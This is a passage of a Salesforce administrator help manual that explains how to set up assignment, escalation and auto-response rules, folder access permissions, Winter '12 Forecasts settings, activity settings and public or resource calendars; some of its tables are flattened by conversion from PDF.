Do Not Reassign Owner

Specifies that the current owner on a lead or case will not be reassigned to the lead or case when it is updated. Specifies the template to use for the email that is automatically sent to the new owner. If no template is specified, no email will be sent. When assigning a lead or case to a queue, the notification goes to the Queue Email address specified for the queue and all queue members. Specifies the predefined case team(s) to add to a case when it matches the condition. A case team is a team of users that work together on a case. For example, your case team may include a support rep, support manager, and a product manager. For more information, see Predefining Case Teams on page 2837.

Email Template

Predefined Case Teams

1220

Customize

Managing Assignment Rules

Field

Description Click the Lookup icon ( ) to select a predefined case team to add to the assignment rule. To add more predefined case teams, click Add Row to add a new row with which you can add a predefined case team.

Replace any existing predefined case teams on the case

Specifies that any existing predefined case teams on the case are replaced with the predefined case teams on the condition, when a case matches the condition. For more information, see Predefining Case Teams on page 2837.

After creating the entry, click Save, or Save & New to save the entry and create more entries. Note: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch any leads or cases that the previous rule entries did not assign. Tip: Salesforce processes any rules in the following order: 1. 2. 3. 4. 5. Validation rules Assignment rules Auto-response rules Workflow rules (with immediate actions) Escalation rules

Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.

See Also:
Managing Assignment Rules Viewing and Editing Assignment Rules

Viewing and Editing Assignment Rules


Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change assignment rules: To view assignment rules: Customize Application View Setup and Configuration

To view and edit assignment rules:

1221

Customize

Creating Escalation Rules

To edit the name of a rule, click Rename next to the rule name. To edit the entries for a rule, choose the rule name from the list of rules. Click New to add an entry; choose Edit or Del to edit or delete an entry; select Reorder to change the order in which the entries apply. Each rule can have a maximum of 3000 entries.

See Also:
Setting Up Assignment Rules Managing Assignment Rules

Creating Escalation Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change escalation rules: Customize Application

Create case escalation rules to escalate cases automatically if they are not resolved within a certain period of time. Typically, your organization will have one escalation rule that consists of multiple entries which specify exactly how the cases are escalated. For example, your standard case escalation rule could have two entries: cases with Type set to Gold are escalated within two hours, and cases with Type set to Silver are escalated within eight hours. For a list of the maximum number of rules allowed in each organization, see Salesforce Editions and Limits. For information on debugging escalation rules, see What is a Debug Log? on page 1867.

See Also:
Setting Up Escalation Rules Viewing and Editing Escalation Rules

Setting Up Escalation Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create escalation rules: Customize Application

To create an escalation rule:

1222

Customize

Creating Escalation Rules

1. Choose Your Name > Setup > Customize > Cases > Escalation Rules. 2. Choose New, and give the rule a name. Specify whether you want this to be the active escalation rule. Click Save. 3. To create the rule entries, click New. Each rule can have a maximum of 3000 entries. Each entry defines a condition that determines how cases are processed. For each entry, you can specify the following: Field
Order

Description Sets the order in which the entry will be processed in the rule, for example, 1, 2, 3. Salesforce evaluates each entry in order and tries to match the criteria of the entry. As soon as a match is found, Salesforce processes the item and stops evaluating the rule entries for that item. If no match is found, the case is simply not escalated.

Criteria

Specifies conditions that the case must match for it to be escalated. You can enter your rule criteria: Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set a case filter to Priority equals High if you want case records with the Priority field marked High to trigger the rule. If your organization uses multiple languages, enter filter values in your organization's default language. You can add up to 25 filter criteria, up to 255 characters. Choose formula evaluates to true and enter a formula that returns a value of True or False. Salesforce triggers the rule if the formula returns True. For example, the formula AND(ISCHANGED( Priority ), ISPICKVAL (Priority, "High") ) triggers a rule that changes the owner of a case when the Priority field is changed to High.For information on using formulas, see Building Formulas on page 1053.

Note that if your condition uses a custom field, the rule entry will automatically be deleted if the custom field is deleted.
Specify business hours criteria

Specifies how business hours apply to an escalated case: Ignore business hours - Select this field to ignore business hours when escalating a case. Use business hours specified on case - Select this field to use the existing business hours on a case when escalating it. Set business hours - Select this field and click the lookup icon ( ) to select predefined business hours to apply to a case when escalating it.

1223

Customize

Creating Escalation Rules

Field

Description Escalation actions only run during the business hours with which they are associated. For more information, see Setting Business Hours on page 1274.

Specify how escalation times are set

Determines what field applies to your Age Over number of hours. Your Age Over setting can be based on the number of hours since: A case was created The case was created unless it has been modified; once modified, the case will never get escalated The most recent time a case was modified For example, if you choose Based on last modification time of the case and your Age Over setting is 5, cases will get escalated 5 hours after the most recent last modified time and date as long as the case is open.

4. After creating the entry, click Save, or Save & New to save the entry and create more entries. 5. After you create the last entry, click Save. The escalation rule and a list of one or more rule entries are displayed. Note: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch any cases that the previous rule entries did not assign. 6. Specify what action you want to be taken when one of the escalation rule entries is true. Click Edit next to the name of one of the rule entries. 7. Click New to add an escalation action. You can specify up to five actions for each rule entry, to escalate the case over increasing periods of time. For each escalation action, you can specify the following: Field
Age Over

Description Specifies the number of hours after which a case should be escalated if it has not been closed. This time is calculated from the date field set in the Specify how escalation times are set field. No two escalation actions can have the same number in this field. Specifies the user, partner user, or queue to which the case will be assigned if it matches the condition. Users specified here cannot be marked inactive and they must have the Read permission on cases. Note: You can't revoke the Read permission on leads or cases for users assigned to a rule. Note that reassigning an escalated case is optional.

Assign To

1224

Customize

Creating Escalation Rules

Field
Notification Template

Description Specifies the template to use for the email that is automatically sent to the new owner specified in the Assign To field. If no template is specified, no email will be sent. Specifies the user to notify when the case is escalated. Notifying another user is optional. Indicates that the owner of the case is notified when the case is escalated. Specifies the template to use for the notification email that is automatically sent to the Notify user(s). If you choose a user in the Notify field, you must select a template. Specifies additional individuals that you want to notify upon escalation.

Notify this user

Notify Case Owner

Notification Template

Additional Emails

Note: Each time you save a case or change the case owner, your escalation rules re-evaluate that case. Once the case matches an escalation rule entry, calculates when the case should be escalated and stops checking other escalation rule entries. For example, if you have two escalation rule entries that specify: Escalate three hours after creation date if Case Reason equals Crash Escalate four hours after creation date if Case Reason equals Bug

A case created with Case Reason of Bug will be scheduled for escalation four hours after it was created. Later, a user changes the case, which causes the escalation rules to re-evaluate the case. If escalation rules find that the Case Reason is now Crash, it schedules the case to be escalated three hours after creation date. If the case was created more than three hours ago, the case is escalated as soon as possible. Escalation rules are not evaluated when transferring multiple cases at one time from a case list view. Also note that if you use assignment rules to change case ownership, the escalation rules are evaluated before any assignment rules. Tip: Salesforce processes any rules in the following order: 1. 2. 3. 4. 5. Validation rules Assignment rules Auto-response rules Workflow rules (with immediate actions) Escalation rules

Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.

See Also:
Creating Escalation Rules Viewing and Editing Escalation Rules Monitoring the Case Escalation Rule Queue

1225

Customize

Setting Up Auto-Response Rules

Viewing and Editing Escalation Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change escalation rules: Customize Application

To view and edit escalation rules: To edit the name of a rule, click Rename next to the rule name. To edit the entries for a rule, choose the rule name from the list of rules. Click New to add an entry; choose Edit or Del to edit or delete an entry; select Reorder to change the order in which the entries apply. Each rule can have a maximum of 3000 entries.

See Also:
Creating Escalation Rules Setting Up Escalation Rules Monitoring the Case Escalation Rule Queue

Setting Up Auto-Response Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create auto-response rules: Customize Application

An auto-response rule is a set of conditions for sending automatic email responses to lead or case submissions based on the attributes of the submitted record. Applicable leads include those captured through a Web-to-Lead form. Applicable cases include those submitted through a: Self-Service portal Customer Portal Web-to-Case form Email-to-Case message On-Demand Email-to-Case message

You can create as many response rules as you like based on any attribute of the incoming lead or case, but only one rule for leads and one for cases can be active at a time. The email responses are listed in the Activity History related list of the lead or contact and the Email related list on cases.

1226

Customize

Setting Up Auto-Response Rules

Creating Auto-Response Rules To create a Web-to-Lead response rule, click Your Name > Setup > Customize > Leads > Auto-Response Rules. To create a response rule for cases, click Your Name > Setup > Customize > Cases > Auto-Response Rules. On the Auto-Response Rules page: 1. 2. 3. 4. 5. Click New. Enter the rule name. Check the active box to make this rule the only one activated. Click Save. Create rule entries.

Creating Response Rule Entries 1. Click New from the rule detail page. 2. Enter a number to specify the order this entry should be processed. The rule processes entries in this order and stops processing at the first matching entry and then sends the email using the specified email template. If no response rules apply, the rule uses the default template you specify on the Web-to-Case or Web-to-Lead Settings page. Note: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch any leads or cases that the previous rule entries did not. This is especially important for Email-to-Case and On-Demand Email-to-Case which do not have default templates. 3. Enter your rule criteria: Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set a case filter to Priority equals High if you want case records with the Priority field marked High to trigger the rule. If your organization uses multiple languages, enter filter values in your organization's default language. You can add up to 25 filter criteria, up to 255 characters. Choose formula evaluates to true and enter a formula that returns a value of True or False. Salesforce triggers the rule if the formula returns True. For example, the formula AND(ISPICKVAL(Priority,"High"),Version<4.0) triggers a rule that automatically responds with the selected template if the Priority field on a case is set to High and the value of a custom field named Version on the case is less than four. For information on using formulas, see Building Formulas on page 1053.

4. 5. 6. 7.

Enter an email senders name. Enter an email address for the sender. Select an email template. Click Save.

Managing Auto-Response Rules After you've set up your auto-response rules and rule entries: Click Edit to change the rule name. Click New next to the Rule Entries list to create a new rule entry. Each rule can have a maximum of 3000 entries. Click Reorder next to the Rule Entries list to change the order they are processed. Click Edit next to a rule entry to change it. Click Del next to a rule entry to delete it.

1227

Customize

Setting Up Auto-Response Rules

Tip: Salesforce processes any rules in the following order: 1. 2. 3. 4. 5. Validation rules Assignment rules Auto-response rules Workflow rules (with immediate actions) Escalation rules

Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules. For a list of the maximum number of rules allowed in each organization, see Salesforce Editions and Limits. For information on debugging response rules, see What is a Debug Log? on page 1867.

See Also:
Differences Between Auto-Response Rules and Workflow Alerts

Differences Between Auto-Response Rules and Workflow Alerts


Auto-response rules available in: Professional, Enterprise, Unlimited, and Developer Editions Workflow alerts available in: Enterprise, Unlimited, and Developer Editions

Auto-response rules and workflow alerts provide similar functionality. The following table lists some of the differences between workflow alerts and auto-response rules to help you determine which process to use: Type of Process Workflow alerts Designed For Notifications to interested parties. Runs When Sends Email To Number of Emails Sent

A case or lead is created Anyone you choose who Sends as many emails as or edited. is associated to the Case there are matching or Lead object. criteria in the workflow. Contact on a case or the Sends one email based person who submitted on the first rule entry the lead on the Web. criteria it matches in a sequence of rule entries.

Auto-response rules

Initial response to the A case or lead is contact who created a created. case or the person who submitted the lead on the Web.

Managing Folders

1228

Customize

Managing Folders

Available in: All Editions except Database.com Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed To create, edit, or delete public document folders: To create, edit, and delete public email template folders: To create, edit, and delete public report folders: To create, edit, and delete public dashboard folders: Manage Public Documents Manage Public Templates Manage Public Reports Manage Dashboards AND View All Data

A folder is a place where you can store reports, dashboards, documents, or email templates. Folders can be public, hidden, or shared, and can be set to read-only or read/write. You control who has access to its contents based on roles, permissions, public groups, and license types. You can make a folder available to your entire organization, or make it private so that only the owner has access. To access document folders, click the Documents tab. See Document Library Overview for information on displaying the Documents tab. To access email template folders, click Your Name > Setup > Communication Templates > Email Templates. To access report folders, click the Reports tab, or to manage all of your organizations report folders, click Your Name > Setup > Customize > Reports. To access dashboard folders, click the Dashboards tab.

To create a new folder, click Create New Folder. To edit a folder, click Edit next to the folder name. Alternatively, select a folder name from the Folder drop-down list and click Edit. Note: You can modify the contents of a folder only if the folder access level is set to Read/Write. Only users with the Manage Public Documents or Manage Public Templates can delete or change a Read Only folder. Regardless of permissions or folder settings, users can't edit any unfiled or personal folders.

Controlling Access to Report Folders


Folder access is controlled by permissions. The following tables show the permissions that users must have to access the three different types of report folders: public, hidden, and shared folders. Public Folders The following settings apply to folders with either of the following visibility settings:
This folder is accessible by all users, including portal users This folder is accessible by all users, except for portal users

Access Level Read

Permissions to Access Read-Only Folders Any of the following: Run Reports

Permissions to Access Read/Write Folders Any of the following: Run Reports

1229

Customize

Managing Folders

Access Level

Permissions to Access Read-Only Folders Manage Public Reports View All Data

Permissions to Access Read/Write Folders Manage Public Reports View All Data

Write New Modify/Delete

Manage Public Reports Manage Public Reports

Create and Customize Reports Manage Public Reports

Hidden Folders Access Level Read Write New Modify/Delete Permissions to Access Read-Only Folders View All Data Manage Public Reports Manage Public Reports Permissions to Access Read/Write Folders View All Data Manage Public Reports Manage Public Reports

Shared Folders Access Level Read Permissions to Access Read-Only Folders Any of the following: Run Reports (for shared users) Manage Public Reports View All Data Manage Public Reports Manage Public Reports Permissions to Access Read/Write Folders Any of the following: Run Reports (for shared users) Manage Public Reports (for shared users) View All Data Create and Customize Reports (for shared users) Manage Public Reports

Write New Modify/Delete

Controlling Access to Dashboard Folders


Folder access is controlled by permissions. The following tables show the permissions that users must have to access the three different types of dashboard folders: public, hidden, and shared folders. Public Folders The following settings apply to folders with either of the following visibility settings:
This folder is accessible by all users, including portal users This folder is accessible by all users, except for portal users

Access Level Read

Permissions to Access Read-Only Folders Run Reports

Permissions to Access Read/Write Folders Run Reports

1230

Customize

Managing Folders

Access Level Write New

Permissions to Access Read-Only Folders All of the following: Run Reports Manage Dashboards View All Data All of the following: Run Reports Manage Dashboards View All Data

Permissions to Access Read/Write Folders Both of the following: Run Reports Manage Dashboards

Modify/Delete

All of the following: Run Reports Manage Dashboards View All Data

Hidden Folders Access Level Read Permissions to Access Read-Only Folders Both of the following: Run Reports View All Data All of the following: Run Reports Manage Dashboards View All Data All of the following: Run Reports Manage Dashboards View All Data Permissions to Access Read/Write Folders Both of the following: Run Reports View All Data All of the following: Run Reports Manage Dashboards View All Data All of the following: Run Reports Manage Dashboards View All Data

Write New

Modify/Delete

Shared Folders Access Level Read Write New Permissions to Access Read-Only Folders Run Reports All of the following: Run Reports Manage Dashboards View All Data All of the following: Run Reports Manage Dashboards Permissions to Access Read/Write Folders Run Reports Both of the following: Run Reports Manage Dashboards

Modify/Delete

All of the following: Run Reports Manage Dashboards

1231

Customize

Creating and Editing Folders

Access Level

Permissions to Access Read-Only Folders View All Data

Permissions to Access Read/Write Folders View All Data

See Also:
Analytics Overview Creating and Editing Folders Deleting Folders Filing Items in Folders

Creating and Editing Folders


Available in: All Editions except Database.com Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed To create, edit, or delete public document folders: To create, edit, and delete public email template folders: To create, edit, and delete public report folders: To create, edit, and delete public dashboard folders: Manage Public Documents Manage Public Templates Manage Public Reports Manage Dashboards AND View All Data

Click Create New Folder or Edit from most pages that list folders. On the Reports tab, click Folder or New Dashboard Folder to create a folder, or click to edit.

and select New Report

1. Enter a Folder Label. The label is used to refer to the folder on user interface pages. 2. If you have the Customize Application permission, enter a unique name to be used by the API and managed packages. 3. Choose a Public Folder Access option. Select read/write if you want users to be able to change the folder contents. A read-only folder can be visible to users but they can't change its contents. 4. Select an unfiled report, dashboard, or template and click Add to store it in the new folder. Skip this step for document folders. 5. Choose a folder visibility option:
This folder is accessible by all users, including portal users gives folder access to all users

in your organization, including portal users.


This folder is accessible by all users, except for portal users gives folder access to all users

in your organization, but denies access to portal users. This option is only available for report and dashboard folders in organizations with a partner portal or Customer Portal enabled. If you don't have a portal, you won't see it. This folder is hidden from all users makes the folder private.

1232

Customize

Deleting Folders

This folder is accessible only by the following users allows you to grant access to a desired set of

users: a. Choose Public Groups, Roles, Roles and Subordinates, Roles, Internal and Portal Subordinates (if you have portals enabled), Territories, or Territories and Subordinates from the Search drop-down list. The choices vary by Edition and whether your organization has territory management. Note: When you share a folder with a group, managers of the group members have no access to the folder unless those managers are also members of the group. b. If the Available for Sharing list does not immediately display the desired value, enter search criteria and click Find. c. Select the desired value from the Available for Sharing list and click Add to move the value to the Shared To list. 6. Click Save. See Managing Folders for the required permissions to create new folders.

See Also:
Deleting Folders Filing Items in Folders Managing Folders

Deleting Folders
Available in: All Editions except Database.com Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed To create, edit, or delete public document folders: To create, edit, and delete public email template folders: To create, edit, and delete public report folders: To create, edit, and delete public dashboard folders: Manage Public Documents Manage Public Templates Manage Public Reports Manage Dashboards AND View All Data

You can only delete folders that are empty. Before you begin, remove all the documents, dashboards, templates, or reports from the folder you would like to delete. 1. Click Edit next to the folder name from any page that lists folders. On the Reports tab, click then Edit in the Folders pane. If you're not seeing the enhanced Reports tab, check if you're using a supported browser and ask your administrator to enable the new user interface theme.

1233

Customize

Filing Items in Folders

2. Click Delete or then Delete. 3. Click OK to confirm. See Managing Folders for the required permissions to delete a folder.

See Also:
Creating and Editing Folders Filing Items in Folders Managing Folders

Filing Items in Folders


Available in: All Editions except Database.com Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed To create, edit, or delete public document folders: To create, edit, and delete public email template folders: To create, edit, and delete public report folders: To create, edit, and delete public dashboard folders: Manage Public Documents Manage Public Templates Manage Public Reports Manage Dashboards AND View All Data

To move a document, dashboard, report, or email template to a different folder: 1. 2. 3. 4. Select the item to be stored in a folder. Click Edit Properties. Choose another folder. Click Save.

See Managing Folders for the necessary permissions to perform this task. Just like report folders contain reports and email template folders contain email templates, document folders can only contain documents. To store an attachment in a document folder, save the attachment to your computer and upload it to the document library.

1234

Customize

Setting Up Forecasts

Note: Email templates that are used by Web-to-Case, Web-to-Lead, assignment rules, or escalation rules must be marked as Available for Use.

See Also:
Deleting Folders Filing Items in Folders Managing Folders

FORECASTS
Setting Up Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Important: This information applies to the Winter '12 release of Forecasts. If you're using Customizable Forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? For Forecasts features to function correctly, it's important that you dont disable the new user interface theme for your organization. See Customizing User Interface Settings for information on user interface settings. Additionally, Territory Management must not be enabled.

To set up the forecasts feature, you need to: Enable users who need to use forecasts. Set up your forecasts hierarchy to determine how forecasts roll up within your organization and who can view and adjust them. Enable forecasts adjustments for your organization and for specific user profiles. Define your forecast range. You can use the default of six months or define a range of up to 12 months in the past or future. Set a forecast currency. You can select either your organization's corporate currency or the forecast owner's personal currency. Make sure the Forecasts tab is visible to forecasting users. See Setting Tab Visibility for information on setting tabs.

If your organization uses specific terminology, you can customize your forecast categories.

Defining Forecasts Settings

1235

Customize

Defining Forecasts Settings

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users

Important: This information applies to the Winter '12 release of Forecasts. If you're using Customizable Forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? For Forecasts features to function correctly, it's important that you dont disable the new user interface theme for your organization. See Customizing User Interface Settings for information on user interface settings. Additionally, Territory Management must not be enabled.

Before you begin, make sure that your organization has the Winter '12 release of forecasting. Starting in Winter '12, Forecasts is enabled for all new organizations. If you're an existing organization using Forecasts (Classic) or Customizable Forecasts and want to use Forecasts, contact your salesforce.com representative. 1. Click Your Name > Setup > Customize > Forecasts > Settings. If forecasts is not already turned on, select Enable Forecasts and click Save. 2. Click either Settings or Edit Forecast settings for your company. 3. Under Forecast Range, use the drop-down lists to select a beginning month and the number of months you want to show. 4. If you need to, customize your Forecast Categories. 5. Enable forecasts adjustments for your organization and for specific user profiles. 6. Select the currency in which your users will forecast. 7. Click Save. You can always return to the Forecasts Settings page to make adjustments. Now you can enable users who need to use forecasts and set up your forecasts hierarchy to determine how forecasts roll up within your organization and who can view and adjust them.

See Also:
Setting Up Forecasts Defining Your Organization's Forecast Range

Enabling Users for Forecasts

1236

Customize

Enabling Users for Forecasts

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? 1. 2. 3. 4. Click Your Name > Setup > Manage Users > Users. For each user you want to enable, click Edit. Under General Information, select Allow Forecasting. Click Save.

Enabled users are available in the forecasts hierarchy. You can also enable additional users or disable users you've already enabled when you configure your forecast hierarchy.

See Also:
Setting Up Your Forecast Hierarchy Setting Up Forecasts

Setting Up Your Forecast Hierarchy


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? When you assign a user as a forecast manager, all forecasts and adjustments from the manager's subordinates in the hierarchy roll up into his or her forecasts. It's important to always assign a forecast manager to the top level of the forecast hierarchy. 1. Click Your Name > Setup > Customize > Forecasts > Forecast Hierarchy. 2. Click Enable Users and use and to move users from the Available Users list to the Enabled Users list. If you previously enabled a user by clicking Your Name > Setup > Manage Users > Users and editing a user page to allow forecasting, the name already appears in the Enabled Users list.

1237

Customize

Enabling Forecasts Adjustments

3. If you need to, select a forecast manager for each manager role in the hierarchy. Click Edit Manager next to the role, then select a name from the Forecast Manager drop-down list and click Save. 4. Click Save. If your organization needs to adjust forecasts, enable adjustments next.

See Also:
Enabling Forecasts Adjustments Enabling Users for Forecasts Setting Up Forecasts

Enabling Forecasts Adjustments


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? Before enabling adjustments, make sure you've set up your forecast hierarchy. 1. 2. 3. 4. 5. 6. 7. Click Your Name > Setup > Customize > Forecasts > Settings. Under Adjustments, select Enable Adjustments. Click Save. Click Your Name > Setup > Manage Users > Profiles. Click Edit for the profile you want to enable. Under General User Permissions, select Override Forecasts. Click Save.

See Also:
Forecasts Adjustments Overview Disabling Forecasts Adjustments Setting Up Forecasts Defining Your Organization's Forecast Range

Disabling Forecasts Adjustments

1238

Customize

Disabling Forecasts Adjustments

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? Caution: Disabling forecasts adjustments purges existing adjustments. Before disabling adjustments, see Understanding Adjustments Purges. 1. Click Your Name > Setup > Customize > Forecasts > Settings. 2. Under Adjustments, deselect Enable Adjustments. 3. Click Save. You don't need to update user profiles because adjustments is now disabled for your entire organization. Say you have forecast managers who adjusted forecast amounts for some direct reports. After you disable adjustments for your organization, the next time the managers view their respective forecast rollups, no adjustments will appear.

See Also:
Forecasts Adjustments Overview Enabling Forecasts Adjustments

Selecting a Forecast Currency


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? Before selecting a forecast currency, review information in Working With Multiple Currencies in Forecasts. 1. Click Your Name > Setup > Customize > Forecasts > Settings. 2. Under Forecast Currency, choose a forecast currency option.

1239

Customize

Defining Your Organization's Forecast Range

3. Click Save.

See Also:
Forecasts Adjustments Overview

Defining Your Organization's Forecast Range


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? The Forecasts rollup table shows forecast amounts for individual months and a range of months. Six months is the default, but you can show up to 12 months in the past or the future. If your forecast range includes the current month, that month is selected by default when you view the rollup table on a forecasts page. 1. Click Your Name > Setup > Customize > Forecasts > Settings. 2. Under Forecast Range, use the drop-down lists to select a beginning month and the number of months you want to show. 3. Click Save.

See Also:
Setting Up Forecasts

Customizing Forecasts Categories


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features?

1240

Customize

Customizing Activity Settings

A forecast category is the category within the sales cycle that an opportunity is assigned to based on its opportunity stage. The standard forecast categories are Pipeline, Best Case, Commit, Omitted, and Closed. You can customize forecast category names for your organization. The forecast categories display information for that specific category only; for example, Best Case reflects amounts in the Best Case category only. 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Opportunities > Fields. Click Forecast Category. Click Edit for any value you want to edit in the Forecasts Category Picklist Values. Enter a forecast category name. Click Save.

New forecast category names appear on opportunity records and forecasts.

See Also:
Setting Up Forecasts

ACTIVITIES
Customizing Activity Settings
The availability of these settings varies by Edition. However, most are available in All Editions.

User Permissions Needed To view activity settings: To customize activity settings: View Setup and Configuration Customize Application

On the Activity Settings page at Your Name > Setup > Customize > Activities > Activity Settings, you can turn the following settings on or off for your organization: Enable Group Tasks Enable Sidebar Calendar Shortcut Enable Creation of Recurring Events Enable Creation of Recurring Tasks Enable Activity Reminders Enable Email Tracking Show Event Details on Multi-User Calendar View Enable Multiday Events Show Custom Logo in Meeting Requests Show Requested Meetings in the Calendar Section on the Home Tab

1241

Customize

Customizing Activity Settings

Enable Group Tasks On by default for all Editions. When selected, this checkbox allows users to assign independent copies of a new task to multiple users. For more information, see Creating Group Tasks on page 144. Enable Sidebar Calendar Shortcut Available in all Editions. Select this checkbox to display a shortcut link to a user's last used calendar view in the sidebar: . In the sidebar, the calendar shortcut displays above the Recent Items component. For more information on the sidebar, see About the Sidebar on page 56. Enable Creation of Recurring Events Available in all Editions. Select this checkbox to allow users to create events that repeat at specified intervals. Enable Creation of Recurring Tasks Available in all Editions. Select this checkbox to allow users to create tasks that repeat at specified intervals. If you disable this setting, users can still edit the interval of an existing recurring task, but cannot create new recurring tasks. Enable Activity Reminders Available in all Editions. Select this checkbox to enable activity reminders for your organization. Salesforce can display popup reminders for upcoming tasks and events. Reminders notify the activity assignee of an upcoming task or event. The reminder displays in a small browser popup window when the activity assignee is logged in to Salesforce. When a user logs in, any reminders that have not been dismissed and reminders scheduled to occur since the last time the user logged out are shown in the reminder window. If you disable reminders, users won't be reminded of tasks or events that have reminders set, they will no longer be able to add new reminders, and they will not be able to configure default reminders. Existing settings and reminders on tasks and events aren't retained if you later re-enable reminders. When you re-enable reminders, users only receive them for tasks and events that have been created or updated since you re-enabled the setting. For more information, see Setting Reminders on Activities on page 109. Enable Email Tracking Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. Outbound HTML emails are tracked by default if your organization uses HTML email templates. You can select or deselect this checkbox to control email tracking. If you disable email tracking, email tracking information for your organization is no longer stored. However, the HTML Email Status related list remains on page layouts and email tracking reports remain on the Reports tab. Show Event Details on Multi-User Calendar View Available in Professional, Enterprise, Unlimited, and Developer Editions. If your organization-wide calendar sharing includes Show Details or if you are the manager of another user in the role hierarchy, calendar views typically display the details of users' events when you hover your mouse over the busy areas of the calendar. When you select the Show Event Details on Multi-User Calendar View checkbox, event details display on-screen rather than in mouse-over text. This setting applies to daily, weekly, and monthly calendar views for all users. Note: Enabling this setting does not override calendar sharing. If a user's calendar details are not visible to other users because of calendar sharing or the user's position in the role hierarchy, this setting respects that lack of visibility.

1242

Customize

Managing Public and Resource Calendars

Enable Multiday Events Available and enabled by default in all Editions. When this checkbox is selected, Salesforce supports events that end more than one day (24 hours) after they start. For information on creating multiday events, see Creating Events on page 130. For information on creating multiday events using the API, see the Force.com Web Services API Developer's Guide. You must use version 13.0 or later of the API to create a multiday event using the API Show Custom Logo in Meeting Requests Available in all Editions. Select this checkbox to upload a custom logo that displays in meeting request emails and on the meeting's Web page that invitees see when you invite them to an event or request a meeting with them. You can only select logos that have been uploaded to the Documents tab and made externally available. See the logo guidelines for information about size limitations, supported file formats, and tips. Show Requested Meetings in the Calendar Section on the Home Tab Available in all Editions. Select this checkbox to display the Requested Meetings subtab in the Calendar on the Home tab. This subtab lists the meetings a user has requested but not confirmed. Disabling this setting also removes the New Meeting Request button from the Calendar on the Home tab. See About Cloud Scheduler on page 148 and Setting Up Cloud Scheduler on page 1245.

See Also:
Customizing User Interface Settings

Managing Public and Resource Calendars


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage public calendars: To manage resource calendars: Customize Application Customize Application

In contrast to users' individual calendars, public and resource calendars are for managing group activities or shared resources. Using public calendars, a group of people can track events of interest to all of them (such as marketing events, product releases, or training classes) or schedule a common activity (such as a team vacation calendar). For example, your marketing team can set up an events calendar to show upcoming marketing events to the entire sales and marketing organization. With resource calendars, multiple people can coordinate their usage of a shared resource such as a conference room or overhead projector. To display a list of the currently-defined public and resource calendars, click Your Name > Setup > Customize > Activities > Public Calendars & Resources. From the list page, you can perform the following tasks: To view the properties of a calendar, click its name in the list. To edit calendar properties, click Edit.

1243

Customize

Managing Public and Resource Calendars

To create a new public calendar or resource: 1. 2. 3. 4. Click New. Give the calendar or resource a name, and check Active. Click Save. To make the new calendar or resource available to others, click Sharing. Add the public groups, roles, or users with whom you want to share the calendar. 5. In Calendar Access, specify how to share the calendar by selecting one of the following: Sharing Model Hide Details Results Others can see whether given times are available, but cannot see any other information about the nature of events in the calendar. Others can see whether given times are available, but cannot see details of events. Other users can insert events in the calendar. Others can see detailed information about events in the calendar. Others can see detailed information about events in the calendar and can insert events in the calendar. Others can see detailed information about events in the calendar, insert events in the calendar, and edit existing events in the calendar.

Hide Details and Add Events

Show Details Show Details and Add Events Full Access

Note: Users need the appropriate Read permission to see the related record of any activity. For example, an event invitee who does not have Read permission on cases will not be able to view the case associated with the event.

See Also:
Deleting a Public Calendar Creating Activities Administrator tip sheet: Setting Up Multi-Person Calendaring

1244

Customize

Deleting a Public Calendar

Deleting a Public Calendar


